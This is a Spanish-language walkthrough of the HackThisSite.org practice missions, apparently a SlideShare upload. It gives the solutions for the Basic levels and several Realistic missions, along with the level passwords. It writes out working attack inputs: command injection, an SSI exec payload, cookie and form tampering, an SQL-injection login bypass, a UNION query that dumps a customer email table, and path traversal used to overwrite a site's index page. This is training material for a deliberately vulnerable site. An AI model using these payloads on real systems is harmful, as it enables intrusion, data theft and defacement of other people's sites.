SlideShare ist ein Scribd-Unternehmen logo
1 von 33
Downloaden Sie, um offline zu lesen
Hackthissite.org – Guia de solución

Basic Web
                              Level 1(the idiot test)


This level is what we call "The Idiot Test", if you can't complete it, don't give up on
learning all you can, but, don't go begging to someone else for the answer, thats
one way to get you hated/made fun of. Enter the password and you can continue.


Al leer el codigo fuente de esta pagina, encontramos una linea comentada:


<!-- the first few levels are extremely easy: password is 054bf7bd -->



Ok, ahora veo porque era “the idiot test”... nada de realistica realmente.




                                       Level 2

Network Security Sam set up a password protection script. He made it load the
real password from an unencrypted text file and compare it to the password the
user enters. However, he neglected to upload the password file...


Al introducir cualquier password presenta el siguiente mensaje:

Warning: fopen(password.txt) [function.fopen]: failed to open stream: No such
file or directory in
/usr/local/www/hackthissite.org/html/missions/basic/3/index.php on line
35


Logico... no existe el archivo.... entonces tomando en cuenta lo que dicen las
indicaciones, la password esta sin encriptar en ese archivo y lo compara con lo
que el usuario ingresa... si no existe el archivo, la password es nula... asi que sin
ingresar nada, comprueba “null” con “null” del archivo.. o sea “” con “” y voila!,
estamos en el otro nivel.
Level 3

This time Network Security Sam remembered to upload the password file, but
there were deeper problems than that.

De nuevo nos vamos al codigo fuente...

<form action="/missions/basic/4/index.php" method="post">
<input type="hidden" name="file" value="password.txt">
<input type="password" name="password"><br /><br />

<input type="submit" value="submit"></form>

La ruta de accion del formulario: "/missions/basic/4/index.php", y el archivo con
la password: "password.txt", asi que armando nuestra direccion y colocándola en
el URL tenemos:

http://www.hackthissite.org/missions/basic/4/password.txt

lo que nos muestra:

4fd47802

Estamos en el siguiente nivel.



Level 4



This time Sam hardcoded the password into the script. However, the password is
long and complex, and Sam is often forgetful. So he wrote a script that would
email his password to him automatically in case he forgot. Here is the script:

Leyendo el codigo fuente...

<form action="/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="webmaster@hulla-balloo.com"><input
type="submit" value="Send password to Sam"></form></center><br /><br
/><center><b>password:</b><br />
<form action="/missions/basic/5/index.php" method="post">

<input type="password" name="password"><br /><br />
<input type="submit" value="submit"></form>

He puesto en negrita lo que nos interesa... o sea que al apretar el boton, lo que
hace es ejecutar un script en level4.php y envia el correo a Sam... asi que si le
cambiamos el valor a “to” y le ponemos nuestro correo, recibiremos la password
en el nuestro... como lo cambiamos?

Podiamos haber grabado esta pagina y luego modificar los valores de la actions
de la form para que buscara level4.php correctamente... luego tambien modificar
el valor de to.... si no hubiese comprobación de “referrer”, es decir, de que pagina
venimos... asi que lo que hice fue mejor irme un poco mas a lo seguro: inline
javascript injection.

Que es esto?
Pues como su nombre lo indica: Inyección de javascript, pero en vez de
simplemente comprobar si permite inyeccion, cambiamos valores a los objetos de
la pagina web, de esta forma podemos cambiar sources de imagenes... y
VALORES A LOS FORMULARIOS!!!!

Verificamos primero si hay otro formulario en el codigo fuente... solo hay uno, por
lo que nuestro formulario con toda su jerarquia seria:

document.forms[0]
(Javascript comienza su conteo desde 0)

Luego necesitamos el nombre del objeto que queremos cambiar... que es el que
marcamos con negrita anteriormente:
name="to" value="webmaster@hulla-balloo.com


Entonces hoy si tenemos todo para cambiarlo y colocamos en la barra de URL:

javascript:alert(document.forms[0].to.value="cisko@debian.org.sv")

y obtenemos:

password: a11229ca

al siguiente nivel!

                                      Level 5


Sam has gotten wise to all the people who wrote their own forms to get the
password. Rather then actually learn the password, he decided to make his email
program a little more secure.

hmmm... creo que nos adelantamos a las pruebas:
“Podiamos haber grabao esta pagina y luego modificar los valores de la actions
de la form para que buscara level4.php correctamente... luego tambien modificar
el valor de to.... si no hubiese comprobación de “referrer”, es decir, de que pagina
venimos...”
O sea que el primero no tenia comprobacion de referrer, pero este si... asi que
probamos exactamente la mismo que hicimos en el anterior:
javascript:alert(document.forms[0].to.value="cisko@debian.org.sv")

Password: 9e722b66

Oooppsss, definitivamente nos adelantamos un poco al nivel... pero ni modo, eso
tambien muestra que no solo hay una forma de hacer las cosas. Vamos al
siguiente nivel.


                                     Level 6


Network Security Sam has encrypted his password. The encryption system is
publically available and can be accessed with this form:

                    Please enter a string to have it encrypted.

                                þÿ
                                         encrypt


                You have recovered his encrypted password. It is:

                                     5eg8:k8?

      Decrypt the password and enter it below to advance to the next level.

Lo primero es ver como trata el abecedario normal, asi que ingresamos:
abcdefghijklmnopqrstuvwxyz0123456789 y lo encriptamos para ver que pasa...y
obtenemos:

Your encrypted string is: 'acegikmoqsuwy{}ƒ…‡‰‹‘“JLNPRTVXZ'


Posicion                    1    2   3       4     5   6   7   8   9   10 11 12 13
Texto ingresado             a    b   c       d     e   f   g   h   i   j   k   l   m
Texto encriptado            a    c   e       g     i   k   m   o   q   s   u   w   y

Que vemos aca?
si meto a, me devuelve a.
Si meto b, me devuelve c.
Si meto c, me devuelve e.

Cual es la logica de encriptacion?
Revisemos de nuevo
Si   meto a, me devuelve a, no cambia nada.
Si   meto b, me devuelve c, que es una letra mas que la que ingrese.
Si   meto c, me devuelve e, que es dos letras mas que la que ingrese.
Si   meto d, me devuelve g, que es tres letras mas que la que ingrese.
Si   medo e, me devuelve i, que es cuatro letras mas que la que ingrese.

Aca todo comienza a tomar sentido... asi que armo otra tabla similar para que
sea mas claro, pero esta vez la posicion la comienzo desde 0.

Posicion                      0   1    2   3    4   5   6   7   8   9      10 11 12
Texto ingresado               a   b    c   d    e   f   g   h   i   j      k   l   m
Texto encriptado              a   c    e   g    i   k   m   o   q   s      u   w   y

Analicemos entonces...

Si meto a en la posicion 0, no le sumo nada.
Si meto b en la posicion 1, le sumo 1 a su posicion, es decir b+1 posicion mas nos
da: c.
Si meto c en la posicion 2, le sumo 2 a su posicion, es decir c+2 posicion mas nos
da: (c .. d... e...) tenemos e.

Creo que a estas alturas ya tenemos un poco de la logica... volvamos a lo nuestro,
nuestra clave encriptada es:

                                      5eg8:k8?


Tenemos numeros, asi que ingresando “0123456789” para ver como los traduce
tenemos: '02468:<>@B'

        012345678 9
        02468:<>@B

Y si metemos 999999999 tenemos:
9:;<=>?@ABC

entonces desglosando tenemos:

Posicio    Encriptado Original
n
0          5           5 menos 0 posiciones = 5
1          e           e menos 1 posicion = d
2          g           g menos 2 posiciones = e
3          8           8 menos 3 posiciones = 5
4        :             : menos 4 posiciones = 6
5        k             k menos 5 posiciones = f
6        8             8 menos 6 posiciones = 2
7        ?             ? menos 7 posiciones = 8

Esto nos da la password: 5de56f28.


                                      Level 7


This time Network Security sam has saved the unencrypted level7 password in an
obscurely named file saved in this very directory.

In other unrelated news, Sam has set up a script that returns the output from the
UNIX cal command. Here is the script:

Enter the year you wish to view and hit 'view'.

 þÿ                    view




Al meter 2006 como año, nos ejecuta “cat 2006”.. y nos despliega el resultado..

Asi que si le agregamos otro comando a ejecutar, por ejemplo un “ls” que seria
util para ver lo que hay en ese directorio...

“cal 2006 && ls”

entonces, metemos en la cajita de años: 2006 && ls

....

       December 2006

Mon Tue Wed Thu Fri Sat Sun
                  1   2   3
  4   5   6   7   8   9 10
 11 12 13 14 15 16 17
 18 19 20 21 22 23 24
 25 26 27 28 29 30 31


.
..
k1kh31b1n55h.php
index.php
level7.php
cal.pl
.htaccess
perl5.8.8.core
index_htmltest.php

aquí tenemos nuestro archivo con password... ahora solo lo metemos en la url...

http://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php

Lo que nos da: 3233d290



                                      Level 8


Sam remains confident that an obscured password file is still the best idea, but he
screwed up with the calendar program. Sam has saved the unencrypted password
file in /var/www/hackthissite.org/html/missions/basic/8/

However, Sam's young daughter Stephanie has just learned to program in PHP.
She's talented for her age, but she knows nothing about security. She recently
learned about saving files, and she wrote an script to demonstrate her ability.

                                  Enter your name:

                             þÿ                    submit


Metemos un nombre para ver que hace el script de Stephanie...


“Cisko”
Your file has been saved. Please click here view the file.

Here nos lleva a:
http://www.hackthissite.org/missions/basic/8/tmp/hvvlzqvq.shtml

La cual nos muestra:
Hi, Cisko!
Your name contains 5 characters



hmmm.. que pasa si le intentamos inyectar una ejecucion de codigo “extra al
php”... de que forma?
El script php lo que hace es tomar la variable del nombre e imprimirla en el
documento, de la siguiente forma:
echo $nombre
nos daria: Cisko
Ya que la variable $nombre, tiene el valor de “Cisko”

Asi que lo que haremos es mandar un valor que para el html no represente nada,
un comentario, pero si para php.

eje.
$nombre= “123 <!--#exec cmd="ls ../" -->”


Hi, 123 au12ha39vc.php index.php level8.php tmp!

Your name contains 43 characters.



Y ahi tenemos nuestro querido archivo:
http://www.hackthissite.org/missions/basic/8/au12ha39vc.php

que nos da: 4d41b784



Level 9


Network Security Sam is going down with the ship - he's determined to keep
obscuring the password file, no matter how many times people manage to
recover     it.      This      time      the      file is     saved      in
/var/www/hackthissite.org/html/missions/basic/9/.

In the last level, however, in my attempt to limit people to using server side
includes to display the directory listing to level 8 only, I have mistakenly screwed
up somewhere.. there is a way to get the obscured level 9 password. See if you
can figure out how..

This level seems a lot trickier then it actually is, and it helps to have an
understanding of how the script validates the user's input. The script finds the
first occurance of '<--', and looks to see what follows directly after it. If it matches
"#exec                cmd="ls"-->"            or           "#exec                cmd="ls
/home/xec96/public_html/missions/basic/8/"-->"
it accepts it. If it does not match any of the situations above, then it kicks the user
out.


Siempre tenemos que usar el script anterior... lo unico es que tenemos que
buscar en otro directorio, asi que modificamos un poco:
123 <!--#exec cmd="ls ../../9/" -->

Hi, 123 index.php p91e283zc3.php!

Your name contains 28 characters.

lo que nos da:
http://www.hackthissite.org/missions/basic/9/p91e283zc3.php

mostrando: eb924603



                                      Level 10


Network Security Sam has decided to hardcode the password into the script. He
also started to use cookies to detect if the user is authorized to advance to the
next level. When you enter the correct password, it sets you to authorized, and if
you enter an incorrect password, it sets you to unauthorized.

Ok... problemas de cookies..
Existen varias formas de leer y modificar cookies, javascript podria habernos
servido, pero hace tiempos, debido a que soy programador web y para pruebas
utilizo    una    extension  de   firefox    llamada: LIVE   HTTP    HEADERS
(http://livehttpheaders.mozdev.org/), que sirve para:



   •   First by adding a 'Headers' tab in 'View Page Info' of a web page.
   •   Second by adding a tool in the 'Tools->Web Development' menu to be able
       to display http headers in real time (while pages are being downloaded from
       the Internet.
   •   Third by letting you edit request headers and replay an URL (beta). Look for
       the Replay button in the live window!

Esto quiere decir que podemos modificar el valor de los headers en tiempo real...
es decir, podria modificar el valor de una cookie por ejemplo....

Asi que, haciendo uso de esta herramienta damos click en nuestro firefox
Herramientas/Live http headers, que abre una ventana... probamos cualquier
password en nuestro formulario y ahora en la ventana de http headers se nos
presenta informacion, asi que damos click en la primera linea de esta ventana, o
sea en:

http://www.hackthissite.org/missions/basic/11/index.php

Luedo damos click el boton “Repetir”, ahora nos presenta lo siguiente:
Host: www.hackthissite.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830
Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1)
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,i
mage/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.hackthissite.org/missions/basic/10/index.php
Cookie: level11_authorized=no;
PHPSESSID=01159f91acb26579079cd7fc8623b39b
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

Quito el click en el cuadro de selección para que no envie informacion POST y
cambio esa linea por Cookie: level11_authorized=yes;

Listo! nivel 10 completado.
REALISTIC MISSIONS
Uncle Arnold's Local Band Review
Your friend is being cheated out of hundreds of dollars. Help him make things
even again!


From: HeavyMetalRyan

Message: Hey man, I need a big favor from you. Remember that website I showed
you once before? Uncle Arnold's Band Review Page? Well, a long time ago I made
a $500 bet with a friend that my band would be at the top of the list by the end of
the year. Well, as you already know, two of my band members have died in a
horrendous car accident... but this asshole still insists that the bet is on!
I know you're good with computers and stuff, so I was wondering, is there any
way for you to hack this website and make my band on the top of the list? My
band is Raging Inferno. Thanks a lot, man!


Veamos la pagina...
Nos presenta varios grupos, el que nos interesa esta al final, seleccionamos el
valor de 1 a 5 y votamos... simplemente regresa a la misma pagina y el valor del
rate de la banda no ha cambiado en lo absoluto...

Veamos que pasa, revisando el fuente tenemos un formulario para cada banda, el
que nos interesa es el siguiente:

<form action="vote.php"><input type="hidden" name="PHPSESSID"
value="abcaeadfc31a5c43b2534bf995c0553f" /><input type="hidden" name="id"
value="0"><select name="vote"><option value=1>1<option value=2>2<option
value=3>3<option value=4>4<option value=5>5</select> <input type="submit"
value="vote!"></form>

hmmm.. hagamos uso de la extension de firefox de nuevo para ver que sucede
(live http headers) y nos dice que es un GET lo que busca... especificamente

GET /missions/realistic/1/vote.php?
PHPSESSID=abcaeadfc31a5c43b2534bf995c0553f&id=0&vote=5 HTTP/1.1

Los formularios GET se pueden traducir como datos que se pasan por URL... asi
que podemos modificar y agregarlo a nuestra URL, de la siguiente forma:

http://www.hackthissite.org/missions/realistic/1/vote.php?
PHPSESSID=abcaeadfc31a5c43b2534bf995c0553f&id=0&vote=99999999999999
999999999999999999999999999999999999999999%20HTTP/1.1

Hecho... completamos la mision.
Chicago American Nazi Party
Racist pigs are organizing an 'anti-immigrant' rally in Chicago. Help anti-racist
activists take over their website!

From: DestroyFascism

Message: I have been informed that you have quite admirable hacking skills. Well,
this racist hate group is using their website to organize a mass gathering of
ignorant racist bastards. We cannot allow such bigoted aggression to happen. If
you can gain access to their administrator page and post messages to their main
page, we would be eternally grateful.

La pagina parece ser un portal que muestra post enviados, al momento solo hay
uno enviado por WhiteKing.

A simple vista no se ve, pero hay un link que dice “update”, ya sea que lo vean
seleccionando todo o revisando el codigo fuente.

Este link nos lleva a la pagina de administracion, pidiendo username y password.

Asi que como usuario metemos a nuestro autor: WhiteKing... y como password,
veamos si acepta un poco de inyeccion de sql:

test' OR 'x'='x

y... sip, el portal se trago nuestra password


Peace Poetry: HACKED
A little girl made a website to put poetry related to peace and understanding.
American fascists have hacked this website replacing it with Hitler-esque
propaganda. Can you repair the website?

From: PeacePoetry

Message: I run this website where people can read and submit peace-related
poetry. I am doing this out of good will towards others, and I don't see why I would
be making enemies out of this, but some real asshole hacked my website posting
a bunch of ignorant aggressive propaganda on the front page. And I made that
website a while ago, and I no longer have access to it. Do you think you can hack
in and change it back? Please? Oh, and bonus points if you message me the name
of the bastard who did this!
My website can be found here.
Primero lo primero... revisemos el codigo fuente.. se ve algo raro, todo en una
sola linea... pero tiene barras de desplazamiento, asi que nos vamos hasta abajo y
encontramos:

<!--Note to the webmasterThis website has been hacked, but not totally destroyed.
The old website is still up. I simply copied the old index.html file to
oldindex.html and remade this one. Sorry about the inconvenience.-->



Bueno, no fueron tan malos despues de todo... asi que veamos el antiguo index,
que esta en:
http://www.hackthissite.org/missions/realistic/3/oldindex.html


Ok... veamos en submit poetry y agreguemos algo para ver que pasa...

http://www.hackthissite.org/missions/realistic/3/submitpoems.php

Your poem was successfully added. Thank you for your contributions

:-( nada mas.

Leamos un poco de poesia entonces...

http://www.hackthissite.org/missions/realistic/3/readpoem.php?name=The
%20Idiot

http://www.hackthissite.org/missions/realistic/3/readpoem.php?name=Images
%20of%20An%20Impending%20War

hmmm... el nombre del poema es que aparece en el campo name, cual seria la
forma de trabajar de este php?
Agrego otro poema con el nombre The Idiot.. y no existe comprobacion...
Las dos formas que se me ocurren son: que se guarde en una base de datos y que
se genere un archivo el cual queda guardado y luego es llamado por la variable
name, que busca el nombre del archivo.

Nos vamos por la segunda y este es el plan:
– Obtener el codigo fuente del index original.
– Name of the Poem, debido que este es el nombre del archivo que grabara,
  sobreescribiremos el index crackeado para que se guarde nuestro antiguo
  index en vez del nuevo, es decir, haremos uso de la herramienta de poemas
  para guardar un archivo que sobreescribira el index.php creackeado. Entonces
  tenemos que guardar nuestro archivo un directorio mas arriba, es decir:
     ../index.html
– Poem: aca meteremos el codigo fuente de nuestro archivo.
Fischer's Animal Products
A company slaughtering animals and turning their skin into overpriced products
sold to rich bastards! Help animal rights activists increase political awareness by
hacking their mailing list.

From: SaveTheWhales

Message: Hello, I was referred to you by a friend who says you know how to hack
into computers and web sites - well I was wondering if you could help me out
here. There's this local store who is killing hundreds of animals a day exclusively
for the purpose of selling jackets and purses etc out of their skin! I have been to
their website and they have an email list for their customers. I was wondering if
you could somehow hack in and send me every email address on that list? I want
to send them a message letting them know of the murder they are wearing. Just
reply to this message with a list of the email addresses. Please? Their website is
at http://www.hackthissite.org/missions/realistic/4/. Thanks so much!!


Robar la lista de correos...
Veamos como funciona, agreguemos cualquier correo en la casilla... email added
successfully...
Provoquemosle errores entonces...
metamos algo que no sera un correo, por ejemplo simbolos raros...
!@#$%

Error inserting into table "email"! Email not valid! Please contact an administrator
of Fischer's.

OK! Tenemos un error que ha hablado de mas, ahora sabemos que los email se
agregan a una tabla llamada “email” en la base de datos.

Que mas podemos obtener del sitio... sigamos navegando por Fur Coats!
Nos muestra un tema: Products, unas imagenes, descripcion y precio... pero
arriba aparece:

realistic/4/products.php?category=1

cambiemos el 1 por otro numero y veamos q pasa...
Nos muestra la categoria 2 que seria Alligatos Accessories!.

probemos category=3... nada pasa.

Imaginemos el comando mysql para obtener los resultados:

SELECT * FROM tabla1 WHERE category=1

ok, entonces al darle click pasamos esta informacion a la bd que nos devuelve los
resultados en una tabla (al ver codigo fuente, tenemos una tabla).

Cuantas columnas tiene la tabla de las categorias?
Probemos.... hagamos uso de nuestro comando que se termina de formar con
“category=1” en la url.. y agreguemos algo mas, ORDER BY 1, le estamos
diciendo que se ordene por la columna 1

el select quedaria de la siguiente forma:

SELECT * FROM tabla1 WHERE category=1 ORDER BY 1

nada cambio.... probemos 2.

http://www.hackthissite.org/missions/realistic/4/products.php?category=1 ORDER
BY 2

Se ordeno de diferente forma...
probemos 3... se ordena diferente.
probemos 4... se ordena diferente.
probemos 5... nos muestra una imagen rota...

Que nos dice esto?
La tabla donde estan las categorias tiene 4 columnas, claro, no sabemos su
nombre....

hmmmm... pero permitio agregarle algo mas al comando de SELECT.. y si le
agregamos algo aun mas fuerte, que tal otro select * from email?... como
hacemos esto? utilicemos UNION....


http://www.hackthissite.org/missions/realistic/4/products.php?category=1 UNION
ALL SELECT null,null,null,null from email --

Un null por cada columna de la tabla con categorias... pero no puso nada, solo
agrego unos links de imagenes rotas, al ver propiedades la imagen esta solo
como nombre     “.jpg”, o sea que toma un null como nombre...

variemos un poco nuestro select

http://www.hackthissite.org/missions/realistic/4/products.php?category=1 UNION
ALL SELECT 1,null,null,null from email --

Nos pone la imagen 1.jpg en los ultimos resultados... o sea que vamos por buen
camino....

Ya sabemos que los correos estan en email y que la primera columna es para las
imagenes, modifiquemos otro poco entonces:
http://www.hackthissite.org/missions/realistic/4/products.php?category=1 UNION
ALL SELECT null,email,null,null from email --

Excelente! tenemos un listado de correos, copiemoslo... ya que el mensaje decia
que se los enviemos al tipo SaveTheWhales

En la pagina de hackthissite.org existe un link que dice “Search Users”,
busquemos a SaveTheWhales, ahi esta el tipo... ahora click en username para ver
sus detalles, luego click en su nick al inicio de la pagina y ahi nos lleva a la pagina
para enviarle un mensaje.

Completamos la mision, hasta ahorita la prueba mejor pensada... tuvimos que
aplicar otras tecnicas pero al final lo logramos.



Damn Telemarketers!
Telemarketers are invading peoples privacy and peace and quiet. Get the
password for the administrative section of the site to delete their database and
return the privacy of their victims!

From: spiffomatic64

Message: Yo! This is Spiffomatic64 from Hackthissite.org! I'm a bit of a hacker
myself as you can see, but I recently came upon a problem I couldn't resolve...

Lately I've been getting calls day and night from the telemarketing place. I've
gone to their website and hacked it once deleting all of their phone numbers so
they wouldn't call me anymore. That was a temporary fix but they put their
database back up, this time with an encrypted password. When I hacked them I
noticed everything they used was 10 years out of date and the new password
seems to be a 'message digest'. I have done some research and I think it could be
something called MD5. I think you could somehow reverse engineer it or brute
force it. I also think it would be a good idea to look around the server for anything
that may help you.


Hurguemos por el sitio...
News...
9/29/03 - The database is now available online again for administrators only!
9/15/03 - Google was grabbing links it shouldn't be so I have taken extra precautions.
9/10/03 - New service purchased from castle to get past "zapp".
7/15/03 - Web site was hacked into and all database entries deleted.
6/28/03 - The database is now available online.
6/20/03 - Web site created and dedicated to my lovely girlfriend haley!
El mismo tipo del sitio nos da bastante informacion:

–   La base de datos esta en el otro link, online.
–   Google le dio un dolor de cabeza mostrando algo que no debia... el webmaster
    lo arreglo, como webmaster se que para arreglar este tipo de situaciones se
    agrega un archivito llamado robots.txt, eso hace que ciertos directorios que
    queramos, no sean listados en los motores de busqueda... pero a la vez
    muestra directorios....

suficiente... comprobemos la existeancia de robots.txt

http://www.hackthissite.org/missions/realistic/5/robots.txt

Disallow: /lib/
Disallow: /secret/

Tenemos dos directorios...

http://www.hackthissite.org/missions/realistic/5/lib/
    hash                     05-Aug-2006 16:11    11k

http://www.hackthissite.org/missions/realistic/5/secret/

    admin.bak.php            05-Aug-2006 16:11     1k
    admin.php                05-Aug-2006 16:11     1k

http://www.hackthissite.org/missions/realistic/5/secret/admin.bak.php
error matching hash d8dcee597d09d8b48e3b25d2a451aa89

Tenemos nuestra password, pero encriptada...

Asi que todo lo que necesitamos es desencriptarla.
Con John the ripper no pude hacerlo... o al menos se estaba tardando mucho, asi
que me descargue Cain&Abel http://www.oxid.it/cain.html, son para win pero el
wine me lo instalo sin problemas y en menos de 5 segundos tenia mi clave:
50db9.


ToxiCo Industrial Chemicals
Decrypt a heavily encoded message from a CEO trying to bribe ecological
inspectors investigating water pollution issues. Help environmentalists uncover
corporations plotting to profit from the destruction of mother nature!

From:                                 ToxiCo_Watch

Message: Hello esteemed hacker, I hope you have some decent cryptography
skills.   I      have     some        text     I    need       decrypted.
I work for this company called ToxiCo Industrial Chemicals, which has recently
come under fire because of the toxic chemicals we are dumping into the river
nearby. Ecological inspectors have reported no problems, but it is widely
speculated that they were paid off by ToxiCo management because the water
pollution near the ToxiCo factory has always been a serious and widely publicized
issue.
I have done some packet sniffing on my network and I have recovered this email
that was sent from the CEO of the company to Chief Ecological Inspector Samuel
Smith. However, it is encrypted and I cannot seem to decode it using any of my
basic decryption tools. I have narrowed it down to the algorithm used to encrypt
it, but it is beyond my scope. I was hoping you can take a look at it.
Please check it out,
more details are on the page. If you can unscramble it and reply to this message
with the original text, it would be much appreciated. Thank you.
I believe this document to be encrypted using the XECryption algorithm.
Please recover the original text of this document and return it to me.
.296.294.255.268.313.278.311.270.290.305.322.252.276.286.301.305.264.301.251.269.274.311.304.
230.280.264.327.301.301.265.287.285.306.265.282.319.235.262.278.249.239.284.237.249.289.250.
282.240.256.287.303.310.314.242.302.289.268.315.264.293.261.298.310.242.253.299.278.272.333.
272.295.306.276.317.286.250.272.272.274.282.308.262.285.326.321.285.270.270.241.283.305.319.
246.263.311.299.295.315.263.304.279.286.286.299.282.285.289.298.277.292.296.282.267.245.304.
322.252.265.313.288.310.281.272.266.243.285.309.295.269.295.308.275.316.267.283.311.300.252.
270.318.288.266.276.252.313.280.288.258.272.329.321.291.271.279.250.265.261.293.319.309.303.
260.266.291.237.299.286.293.279.267.320.290.265.308.278.239.277.314.300.253.274.309.289.280.
279.302.307.317.252.261.291.311.268.262.329.312.271.294.291.291.281.282.292.288.240.248.306.
277.298.295.267.312.284.265.294.321.260.293.310.300.307.263.304.297.276.262.291.241.284.312.
277.276.265.323.280.257.257.303.320.255.291.292.290.270.267.345.264.291.312.295.269.297.280.
290.224.308.313.240.308.311.247.284.311.268.289.266.316.299.269.299.298.265.298.262.260.337.
320.285.265.273.307.297.282.287.225.302.277.288.284.310.278.255.263.276.283.322.273.300.264.
302.312.289.262.236.278.280.286.292.298.296.313.258.300.280.300.260.274.329.288.272.316.256.
259.279.297.296.283.273.286.320.287.313.272.301.311.260.302.261.304.280.264.328.259.259.347.
245.291.258.289.270.300.301.318.251.305.278.290.311.280.281.293.313.259.300.262.315.263.319.
285.282.297.283.290.293.280.237.234.323.289.305.279.314.274.291.309.273.294.249.283.262.271.
286.310.305.306.261.298.282.282.307.287.285.305.297.275.306.280.292.291.284.301.278.293.296.
277.301.281.274.315.281.254.251.289.313.307.244.256.302.301.317.305.239.316.274.277.296.269.
305.301.279.287.317.284.277.305.298.264.304.286.273.275.293.309.286.282.240.287.239.268.269.
267.315.311.292.270.271.272.336.282.237.275.316.306.239.305.314.240.296.306.270.247.245.302.
317.316.241.291.310.266.274.274.313.288.262.319.280.276.238.297.295.287.285.288.301.272.275.
247.305.292.286.272.310.291.301.322.256.315.298.263.281.276.237.294.284.296.284.302.273.298.
287.298.301.265.305.270.315.278.283.302.287.263.270.345.258.270.266.302.309.262.260.277.327.
263.277.254.283.276.239.272.264.276.279.264.267.298.264.244.245.273.292.289.273.248.259.263.
288.290.294.210.288.268.311.318.312.242.285.293.216.262.276.340.292.299.275.259.293.311.234.
266.294.278.307.286.267.307.285.269.310.288.274.270.326.273.276.311.304.267.302.318.265.299.
263.283.248.257.314.288.321.321.236.284.283.227.320.312.246.261.289.316.288.263.312.241.265.
288.298.286.287.274.306.279.276.289.307.303.293.281.298.317.252.312.283.278.263.304.305.258.
266.270.294.286.293.290.291.291.258.254.282.282.283.313.268.282.316.310.299.254.264.234.296.
270.265.326.288.292.293.321.305.250.320.299.253.270.296.297.298.266.312.234.273.287.309.286.
278.269.279.316.284.276.234.293.255.267.242.253.318.270.246.278.292.285.282.314.266.292.286.
263.313.249.290.255.289.264.292.301.299.278.291.292.225.250.261.283.303.262.264.264.303.299.
297.274.288.267.293.316.320.317.233.303.258.302.271.283.323.247.279.268.312.269.297.313.280.
280.273.266.332.276.313.284.281.316.279.290.273.313.308.305.260.302.306.273.234.279.281.284.
298.278.259.290.314.275.264.339.293.322.266.261.296.306.277.275.311.284.270.318.259.249.286.
292.301.285.280.303.283.287.299.277.273.293.228.311.283.272.304.292.277.271.306.302.278.298.
300.287.281.309.243.272.279.282.300.291.295.284.285.252.291.251.285.283.245.250.252.318.298.
277.235.288.259.263.278.274.307.261.260.350.250.288.256.282.316.261.285.295.292.300.298.264.
245.241.308.301.261.253.289.264.267.300.262.248.287.257.266.275.287.297.320.287.264.279.297.
232.231.256.288.243.252.277.274.245.256.253.229.290.263.305.278.260.294.312.283.301.275.276.
299.297.312.275.282.294.272.228.302.324.257.261.286.326.280.283.316.294.254.258.275.264.236.
240.277.255.231.258.286.242.277.253.296.290.250.314.320.239.292.313.261.294.261.317.273.285.
236.292.282.271.264.297.300.272.308.299.300.269.301.269.317.284.286.262.315.276.279.328.269.
254.252.232.272.268.309.273.264.296.305.272.267.291.324.302.297.268.268.263.298.300.261.312.
241.254.299.280.263.292.260.301.311.317.297.248.314.272.293.298.281.298.276.311.291.297.318.
261.274.300.293.297.267.295.261.275.334.289.238.267.289.283.257.300.262.304.311.278.274.265.
261.345.301.296.270.273.299.289.274.272.313.282.268.320.287.320.270




Aun no resuelto...
What's Right For America
A homophobic hate group is spreading their conservative propaganda of blind
obedience and bigoted war mongering. Help tolerance activists take over their
website of ignorance and discrimination.

From:                                FreedomOfChoice

Message: Friend of freedom and liberty, I invite you to take a look at the hate
speech           being        spewed         over          the        web        at
http://www.hackthissite.org/missions/realistic/7/. It's so funny that conservatives
keep saying they want to protect the values of America - freedom, tolerance, and
democracy - but when it comes to personal choices like private marijuana use or
same-sex marriages, they damn them to burn in eternal hell and send them to
jail.
This is a personal freedom issue. No one else is hurt if two consenting adults
decide to marry. But people who claim to have the moral high ground decide to
ruin it for everyone else and discriminate against same-sex couples. To think that
they are talking about making a constitutional amendment to STOP OUR
FREEDOM TO MARRY is ludicrous. This injustice must be stopped.
There is an admin section on that website somewhere, perhaps hidden among
their directory structure. It would be a great fight against moral tyranny and a
victory for freedom if you could somehow hack into their website. Thank you.


Al entrar a la pagina vemos unos link en la parte inferior como siguen:

http://www.hackthissite.org/missions/realistic/7/showimages.php?file=patriot.txt
http://www.hackthissite.org/missions/realistic/7/showimages.php?file=bush.txt
http://www.hackthissite.org/missions/realistic/7/showimages.php?file=war.txt

Que pasa si cambiamos el valor de file...

http://www.hackthissite.org/missions/realistic/7/showimages.php?file=1.txt

Al final de la pagina nos muestra el mensaje:

The specified file does not exist.

Y deja de mostrar las imagenes... ahora veamos que hay en cada archivo de
texto:

http://www.hackthissite.org/missions/realistic/7/patriot.txt
images/patriot1.jpg
images/patriot2.jpg
images/patriot3.jpg
images/patriot4.jpg
images/patriot5.jpg

http://www.hackthissite.org/missions/realistic/7/bush.txt
images/bush1.jpg
images/bush2.jpg
images/bush3.jpg

http://www.hackthissite.org/missions/realistic/7/war.txt
images/war1.jpg
images/war2.jpg
images/war3.jpg

que son las imagenes que muestra en la parte inferior... eso quiere decir que
ocupa un script php que lee lo que este escrito en un archivo y lo pone como ruta
para mostrar una imagen.

Tambien observamos que hace referencia a una ruta para todas las imagenes:

images/patrior1.jpg

O sea que existe un directorio llamado images.. veamos que hay ahi.

http://www.hackthissite.org/missions/realistic/7/images/
   admin/                  06-Feb-2004 00:25       -
   burn.jpg                06-Feb-2004 00:25     35k
   bush1.jpg               06-Feb-2004 00:25     46k
   bush2.jpg               06-Feb-2004 00:25     47k
   bush3.jpg               06-Feb-2004 00:25     40k
   gay.jpg                 06-Feb-2004 00:25     51k
   logo.jpg                06-Feb-2004 00:25     28k
   logo.psd                06-Feb-2004 00:25    121k
   patriot1.jpg            06-Feb-2004 00:25     59k
   patriot2.jpg            06-Feb-2004 00:25     61k
   patriot3.jpg            06-Feb-2004 00:25     59k
   patriot4.jpg            06-Feb-2004 00:25     41k
   patriot5.jpg            06-Feb-2004 00:25     61k
   savage.jpg              06-Feb-2004 00:25     33k
   war1.jpg                06-Feb-2004 00:25     70k
